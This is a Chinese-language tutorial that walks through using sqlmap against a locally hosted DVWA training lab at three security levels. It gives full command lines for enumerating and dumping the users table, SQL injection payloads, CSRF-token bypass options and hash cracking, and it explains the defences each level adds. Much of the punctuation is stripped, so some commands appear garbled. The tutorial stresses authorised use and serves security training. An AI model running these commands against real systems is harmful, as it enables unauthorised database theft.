
1. 环境准备把DVWA跑起来给sqlmap一个合法的练手场如果你刚接触Web安全大概率绕不开两个名字DVWA和sqlmap。DVWA是本地漏洞靶场里面内置了SQL注入、XSS、文件包含等常见漏洞关卡sqlmap则是SQL注入自动化检测工具一条命令就能完成手动注入需要折腾很久的探测、注入、脱库流程。把这两个合在一起先用sqlmap打DVWA的SQL Injection关卡几乎是每个安全方向初学者第一次完整跑通“从检测到拿数据”全流程的起点。无论你将来是想做渗透测试、安全开发还是只是想搞懂漏洞原理这个组合都是性价比最高的练习项目。先把话说在前面DVWA是用来练习的合法靶场sqlmap这类工具只能用在自有环境、本地靶场或明确授权的测试目标上。没授权的扫描和注入轻则违反平台规则重则直接踩法律红线。这篇文章里所有操作都基于你自己电脑上搭建的DVWA别拿这套命令去测任何真实站点。1.1 为什么选DVWA而不是真实站点练手很多人学SQL注入时第一反应是“找个网站试试”这个想法非常危险。先不谈法律问题真实站点的存在意义不是给你练手的你发过去的恶意请求可能影响真实用户也可能触发对方的告警系统最后追溯到你。DVWA这类靶场解决的就是这个矛盾它在本地提供一个专门用来被攻击的应用结果可预期、影响范围可控还能随时重置。DVWA更大的优势在于它的分级设计。同一个SQL注入漏洞它给你划分了Low、Medium、High、Impossible四个安全等级从完全没过滤到参数化查询都有。你可以在低等级先跑通工具再逐步提高难度看防护手段加了一层又一层之后注入方式要怎么跟着调整。这个过程本身就是理解攻防对抗的最佳路径。而且DVWA自带源码查看功能每个漏洞关卡旁边都能直接看后端代码对照代码再去看工具的payload很多疑问一下就通了。1.2 本地搭建DVWA的完整过程DVWA依赖PHP和MySQL本地跑起来最省事的方式是用集成环境。以Windows为例装一个XAMPP或者同类工具它会同时提供Apache、PHP、MySQL三个服务。我一般这么操作第一步把DVWA源码解压到Web服务器的网站根目录下解压完成后目录名保持dvwa访问地址就是http://127.0.0.1/dvwa/。第二步进入config目录找到config.inc.php.dist文件把它复制一份改名为config.inc.php然后打开编辑。默认配置里数据库用户是root密码是空如果你的MySQL设置了密码需要把db_password改成自己的密码。这一步经常有人漏掉结果后面初始化数据库的时候怎么都连不上。第三步启动Apache和MySQL服务浏览器访问/dvwa/setup.php页面会展示当前环境检查结果。只要PHP版本和扩展都满足要求直接点击页面底部的Create / Reset Database按钮DVWA会自动建库建表。这里有个小劝告页面可能提示reCAPTCHA的key没配置不用管它不影响建库。第四步用默认账号登录用户名admin密码password。登录成功后左侧菜单会多出很多模块包括我们后面要用的SQL Injection。在左侧导航栏的DVWA Security页面可以切换安全等级先把等级设为Low。如果你熟悉Docker也可以用容器方式跑DVWA镜像启动后映射80端口访问容器地址一样进入配置页。容器方式省掉了本地PHP环境折腾但建议新手还是用集成环境能看到更多底层细节比如配置文件、数据库结构这些对理解漏洞有帮助。1.3 sqlmap的安装与重点参数速查sqlmap是Python写的工具安装前确保本机有Python环境。安装方式很简单可以用pip直接安装也可以从官方代码仓库克隆最新源码。我的建议是克隆源码方式因为sqlmap更新很频繁新版本对注入场景的支持更好很多新的检测方法只存在于最新版。克隆下来之后进入目录运行python sqlmap.py -h能正常打印帮助信息就说明ok了。sqlmap的参数很多但针对DVWA这个场景需要优先掌握的其实就那么几个。我整理了一张速查表后面实操会逐个用上参数作用-u指定目标URL-p指定要测试的注入参数--data指定POST请求的数据体--cookie带上会话Cookie-r从Burp抓包的请求文件读取完整请求--dbs枚举数据库列表-D指定数据库名--tables枚举指定库的数据表-T指定数据表名--columns枚举表的字段名--dump脱取数据--batch自动选择默认选项避免交互式提问--dbms指定数据库类型比如mysql--technique指定注入技术比如BEU代表布尔盲注、报错注入、联合查询--level测试深度默认1最高5--risk测试风险级别默认1最高3--csrf-token指定CSRF Token的参数名2. SQL注入与sqlmap的核心思路拆解很多教学上来就直接跑命令这对新手其实不太友好。你连注入点是什么、工具为什么这样发请求、返回什么算注入成功都不知道就算跑通了一次也只是复制粘贴换一个目标照样无从下手。所以我建议先花十分钟理解SQL注入本身再回头看sqlmap的命令会顺畅很多。2.1 一个SQL注入漏洞是怎么出现的SQL注入的根子在于程序把用户输入的内容直接拼接到了SQL查询语句里并且把这个拼接后的语句当作可执行的代码交给了数据库。用人话讲就是后端打算查询“用户编号为X的记录”结果连X是什么都不检查直接拼到查询语句里。DVWA的Low等级SQL Injection关后端大致是这么写的$id $_GET[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id;;你正常输入id1数据库执行的是SELECT first_name, last_name FROM users WHERE user_id 1;如果你输入的是1 OR 11那拼接后的SQL变成了SELECT first_name, last_name FROM users WHERE user_id 1 OR 11;因为11永远成立这条语句会把users表里所有用户的数据都查出来。如果页面把查询结果原样回传你就拿到了所有人的姓名。这就是一个经典的口令绕过式SQL注入。理解这个例子之后再看sqlmap做的工作就清晰了。它做的事情本质上和你手动改参数是一样的只是自动化了先试探性地修改参数值观察页面返回是否有变化再根据变化类型推断注入类型然后用对应的payload把数据一段段拖出来。2.2 sqlmap是怎么完成“自动注入”的sqlmap的自动检测可以理解成一个“试探-对比-确认”的循环。它会对目标参数发送大量精心构造的请求有的故意触发SQL语法错误有的让查询条件永远为真有的用延时函数让数据库停顿几秒有的尝试把数据通过联合查询拼到页面展示区。每发一个请求它都记录页面返回的字节数、状态码、关键字、响应时间等特征再和原始请求的响应做对比。比如布尔盲注它发送id1 AND 11时页面正常发送id1 AND 12时页面内容变短说明它可以通过判断页面真假一位一位地把数据猜出来。sqlmap识别到这个特征之后会告诉你“检测到了布尔型盲注”然后根据你后面的命令逐个字符拉取数据库名、表名、字段名和数据内容。影响检测效果的两个关键参数是--level和--risk。--level控制测试向量的全面程度级别越高测试的payload越多覆盖的场景越广--risk控制payload的激进程度risk越高越有可能触发数据修改这类有副作用的操作。DVWA靶场里可以放开了用level 3和risk 3但在真实授权测试中要克制因为高risk的payload可能对数据产生破坏性影响。2.3 DVWA不同安全级别到底挡了什么DVWA的SQL Injection模块低中高三个等级分别对应三种不同的防御思路我做了个对比等级提交方式主要防护注入难点LowGET无过滤直接拼接任意注入MediumPOST对输入做了转义但不彻底闭合方式变化注意POST提交HighGET加CSRF Token校验且查询结果限制一行需要处理Token注释掉LIMIT限制ImpossibleGET/POST参数化查询基本无法注入只能放弃Medium等级用了类似mysqli_real_escape_string的转义函数单引号会被转义掉你再用引号闭合就不好使了。但它的查询语句里没有给参数加引号属于数字型注入所以工具仍然能找到注入点。High等级最大的变化是加了CSRF Token请求里少一个动态Token就直接给你拒绝这对自动化工具是实打实的门槛。Impossible等级用了参数化查询数据库把SQL语句模板和参数分两条通道处理输入的字符永远只是数据不会再被当作SQL代码执行这是目前最有效的防御方式。理解这四个等级你就能明白为什么同一个漏洞防御级别不同利用难度会指数级上升。3. 实操实录sqlmap打DVWA的三种典型场景下面进入正题。我会用DVWA的SQL Injection模块分别演示Low、Medium、High三个安全等级下sqlmap的完整使用方法。环境是我本地的DVWA数据库类型是MySQL安全等级默认先从Low开始。建议你实际操作时也按这个顺序走不要跳级因为每一级会用到前一阶段的知识。3.1 低安全级别从探测到脱库的完整过程登录DVWA后安全级别设为Low进入SQL Injection页面。正常提交一个id1页面会显示User ID为1的用户姓名。在浏览器开发者工具或者Burp Suite里能看到请求格式GET /dvwa/vulnerabilities/sqli/?id1SubmitSubmit HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSID你的会话ID; securitylowCookie里有两个关键值一个是PHP的会话IDPHPSESSID一个是DVWA保存的安全等级securitylow。sqlmap需要带上这个Cookie才能让DVWA认为你是已登录的合法用户。接下来执行第一条命令先确认当前数据库python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit -p id --cookiePHPSESSID你的会话ID; securitylow --batch --current-db--batch表示所有交互式提问都选默认答案避免跑题。命令执行后sqlmap会先做一轮检测输出大致是这个样子[INFO] GET parameter id appears to be injectable [INFO] testing MySQL boolean-based blind ... [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL 5.0 current database: dvwa到这里就已经证明参数id可注入后台数据库是MySQL当前库是dvwa。接下来枚举这个库里的所有数据表python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit -p id --cookiePHPSESSID你的会话ID; securitylow --batch -D dvwa --tables运行后能看到users表这就是存账号密码的核心表。再来看这张表有哪些字段python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit -p id --cookiePHPSESSID你的会话ID; securitylow --batch -D dvwa -T users --columns最后一步脱取这张表的全量数据python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit -p id --cookiePHPSESSID你的会话ID; securitylow --batch -D dvwa -T users --dumpsqlmap在脱取过程中会列出字段名和数据类型然后逐行把数据拉出来。users表里的密码字段是MD5哈希sqlmap会主动询问是否要用自带字典破解输入Y它就会尝试对常见弱口令进行碰撞。结果出来之后你会看到类似这样的数据--------------------------------------------------------------------------------- | user_id | user | avatar | password | --------------------------------------------------------------------------------- | 1 | admin | ... | 5f4dcc3b5aa765d61d8327deb882cf99 | | 2 | gordonb | ... | e99a18c428cb38d5f260853678922e03 | ---------------------------------------------------------------------------------5f4dcc3b5aa765d61d8327deb882cf99就是password的MD5值这类弱口令用在线哈希查询站或者本地字典很快就能还原。到这里Low级别的完整链路已经走通了探测注入点、枚举库、枚举表、枚举列、脱库、破解哈希总共四条命令。3.2 低安全级别一行payload里藏着什么信息跑通脱库之后别急着换关卡先回来看sqlmap的输出内容。很多初学者跑完只看“成功脱库”就完事了漏掉了最有价值的部分——sqlmap实际发送的payload。执行过程中sqlmap会标注它检测到的注入类型和对应的payload样例。注意这一行输出Type: boolean-based blind Title: AND boolean-based blind WHERE or HAVING clause Payload: id1 AND 39583958 AND 0tRR0tRR这行payload的意思是sqlmap先闭合了原来SQL语句中的单引号然后在后面加上一个恒真的条件39583958再用另一个恒真的引号表达式保证整条语句语法正确。当它发送id1 AND 39583958 AND 0tRR0tRR时页面正常发送对应恒假payload时页面输出消失说明这个参数对布尔条件敏感于是判定为布尔盲注。还会看到类似这样的union查询payloadType: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id1 UNION ALL SELECT NULL, NULL, NULL-- -这说明后端查询返回三个字段sqlmap正在尝试用联合查询直接抽取数据。对照你之前在源码里看到的那条SQL语句这些payload的含义会变得非常直观。所以我的习惯是第一次跑工具时开着源码页面工具输出一行payload就去源码里看它是怎么拼接的。这样跑一次比刷十次教程都管用。3.3 中安全级别POST参数与转义闭合把DVWA安全级别切到Medium再回到SQL Injection页面。这时候你会发现页面样式没变但请求方式变了提交参数不再放在URL里而是放进了POST请求体。默写状态下的sqli页面提交的数据是id1SubmitSubmit如果你还套用Low等级的GET命令sqlmap会提示找不到可注入参数。中等级的正确做法是加--data参数python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/ -p id --dataid1SubmitSubmit --cookiePHPSESSID你的会话ID; securitymedium --batch --current-db注意这里URL不再带?id1SubmitSubmit因为参数已经放到POST体里了。执行后sqlmap仍然能发现注入点但检测到的注入类型和Low可能不一样。原因是Medium等级后端对单引号做了转义你用字符串引号闭合的方式走不通了但它拼接数字型参数时没有加引号所以sqlmap会走数字型注入的路子。如果sqlmap探测不到常见原因是--level不够。默认level只有1很多场景下检测不出来可以加--level3再试python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/ -p id --dataid1SubmitSubmit --cookiePHPSESSID你的会话ID; securitymedium --level3 --batch --dbs拿到库名之后后面的-D dvwa -T users --dump流程和Low级别完全一样。中等级的核心区别就是两个记住参数在POST体里必要时提高level。3.4 高安全级别带CSRF Token的注入怎么跑把安全级别切换到High回到SQL Injection页面后新问题出现了。页面除了原来的输入框还多了一个隐藏字段里面存着每次刷新都会变化的Token值同时页面也展示当前的Token。后端会校验提交的Token和会话中保存的Token是否一致不一致直接拒绝。你用同一个请求反复提交第二次就会失败因为Token已经变了。高安全级别的代码里还多了一个变化查询语句末尾加了LIMIT 1意思是即使你注入了逻辑默认也只返回一行结果。要绕过这个限制通常需要用注释符把LIMIT 1注释掉让SQL语句在LIMIT之前结束。面对CSRF Token最稳妥的方案不是手工去抄Token而是让sqlmap自己动态提取。sqlmap提供了--csrf-token参数告诉它Token字段叫什么名字同时用--csrf-url指定从哪个URL提取Token。命令长得像这样python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit -p id --cookiePHPSESSID你的会话ID; securityhigh --csrf-tokenuser_token --csrf-urlhttp://127.0.0.1/dvwa/vulnerabilities/sqli/ --batch --dbs--csrf-tokenuser_token告诉sqlmap每次请求前先去目标页面提取user_token这个隐藏字段的新值把它拼进请求里。--csrf-url指向能获取Token的页面URL。如果页面结构复杂导致提取失败还有另一个万能方案用Burp Suite抓一次完整的请求保存成request.txt然后用-r直接读取python sqlmap.py -r request.txt -p id --batch --dbs-r方式会把整个HTTP请求原样交给sqlmap包括Cookie、Token、Content-Type头等所有信息。只要请求文件里的Token是新的sqlmap就能正常工作。这里有个实际操作心得遇到带有动态Token和复杂Cookie的测试场景优先用抓包保存文件的方案它能绕开很多手工拼参数时容易漏掉的细节。High级别的后面--dump流程和前面一样只要检测过了注入点拖数只是时间问题。4. 常见问题与排查技巧实录sqlmap跑DVWA看着顺手实际一操作问题五花八门。这里把我自己踩过和帮别人排查时最常见的几类问题整理一下基本都是初学者高频翻车点。4.1 请求看似正常却一直“没有找到可注入参数”典型现象是sqlmap跑半天输出一直提示parameter id does not seem to be injectable或者干脆说unable to inject。这种情况先别怀疑工具按顺序排查三层。第一层登录状态。DVWA的绝大多数页面都需要登录才能访问你如果没有把PHPSESSID正确传给sqlmap后端就把请求当作未登录用户返回的是登录页面内容。而登录页面内容不管你怎么注入都不变sqlmap自然判断不可注入。解决办法是重新打开浏览器抓最新Cookie特别要注意浏览器如果重启过旧Cookie可能已经失效。第二层安全等级。我之前就干过这事在DVWA Security页面把等级调成了Impossible然后回头跑SQL注入怎么试都注不进去。因为Impossible用的参数化查询sqlmap再厉害也破不了这一层这不是工具的问题。检查security的Cookie值确认是low、medium还是high。第三层参数位置。GET参数用-u带URL里POST参数用--data带请求体里搞混了就会提示找不到参数。这也是Medium等级最常见的翻车原因。遇到这种情况最稳妥的做法是用Burp抓包保存成request.txt再走-r路线让工具直接消费真实请求。4.2 中高级注入经常报Token异常把等级切到High之后如果没配--csrf-token或--csrf-urlsqlmap的请求很可能被后端拦截页面上显示Token丢失或校验失败。解决办法上面已经说了两种思路一种是指定--csrf-token和--csrf-url另一种是用Burp抓完整请求给-r。这里有个小坑需要注意DVWA的CSRF Token是一次性的刷新页面就会变。你用-r方式时request.txt里那个Token是旧的sqlmap不会自动更新旧Token除非配合--csrf-token参数。所以高等级下我更推荐组合使用读取-r请求文件的完整结构同时指定--csrf-tokenuser_token让sqlmap基于请求文件里的URL去自动获取新Token。这样既能保证Cookie和Header完整又能让Token动态更新。4.3 脱库数据乱码、哈希解不开怎么办脱出来的数据如果包含中文乱码通常是字符集问题。sqlmap提供了一个通用解法在命令里加--charsetutf-8强制按UTF-8编码读取数据库内容。虽然DVWA默认数据不复杂但这个参数在实际工作中很常用。哈希解不开的现象有两种。一是SQLMap自带的字典太弱只覆盖常见弱口令你dump出来的密码一长串随机字符本地字典根本撞不出来。这种情况优先看哈希类型DVWA的默认密码是MD5跑不出就用在线哈希查询工具弱口令基本一查就有。二是直接在线也查不到说明用户设置了较强的密码那就别在破解上死磕你脱库已经证明了漏洞存在把问题写进报告比把密码还原出来更重要。4.4 跑得太慢如何给sqlmap做减法低速安全等级的注入跑起来很快因为页面反馈明确。但如果在其他场景里用sqlmap时间盲注会让你等到怀疑人生。时间盲注的原理是让数据库延时几秒再返回响应每条数据猜一个字符都要发多次请求累积起来非常慢。如果确认目标不是非要用时间盲注可以在命令里加上--techniqueBEU。B代表Boolean-based blind布尔盲注E代表Error-based报错注入U代表UNION query 联合查询去掉TTime-based时间盲注能省掉大量等待时间。再加--threads10提高并发线程数但注意线程调太高会增加服务器压力DVWA本地无所谓真实授权测试要谨慎。还有一个小技巧是--flush-session或--fresh-queries当你怀疑之前的结果缓存影响了新的探测可以用它强制重新发起查询。5. 训练建议与经验心得工具跑通了整个流程也会了接下来才是真正提升的阶段。我接触过的很多新手跑完Low、Medium、High三个等级之后觉得“sqlmap真厉害”然后就没了。这有点可惜因为DVWA这个靶场最有价值的地方恰恰是让你能在安全环境下把工具的每一个输出和底层代码对照起来看。5.1 先手工注入再让sqlmap校验思路建议你在每个安全等级都先关掉sqlmap用Burp Suite手工注一遍。Low等级手工测试的路径基本上是这样先正常提交id1记住页面返回的格式。然后提交id1如果页面报错说明引号破坏了原SQL语句注入点存在。再提交id1 OR 11如果页面返回了多条用户数据说明永真条件生效。最后尝试联合查询猜到字段数之后把用户名和密码直接怼进查询结果里显示出来。手工注入的价值在于每一步你都得自己构造语句、观察响应、调整思路,这个过程中建立的感觉是看任何教程都替代不了的。手工注完了再跑sqlmap重点不是看工具是不是能成功而是看工具输出的payload和你手工走的链路差在哪。如果你手工注了半天只会用OR 11sqlmap却告诉你还能走UNION查询这个信息差就是你该补的地方。5.2 读sqlmap的输出别只盯“Y/N”要读Payload我最后想强调的一点也是我在实际训练里反复对新人说的sqlmap的输出里最值得读的其实不是“是否注入成功”这个结果而是它列出的Type、Title、Payload三个字段。Type告诉你漏洞类型Title告诉你漏洞的具体位置和触发条件Payload告诉你实际发的数据长什么样。这三样组合起来就是一份现场教学材料。比如它显示Payload: id1 AND 39583958 AND 0tRR0tRR你一眼就能看出来这是单引号闭合的布尔盲注。再看到Payload: 1 UNION ALL SELECT NULL, NULL, NULL-- -你就知道页面查询返回三个字段。这些信息拿到手你可以自己复盘如果我是手动注入绕过这一步需要做什么下次遇到类似的目标我会不会第一时间想到这种思路工具能让你的效率翻倍但工具不会替你做深层次的思考。真正拉开安全测试能力差距的不是你会不会跑sqlmap而是你对漏洞成因、数据类型、注入位置、闭合方式这些底层细节的把握程度。每次跑完一个靶场关卡多花十分钟读一遍sqlmap的payload对照源码想想为什么会生成这样的payload积累几个回合之后你会明显感觉到自己不再只会敲命令了。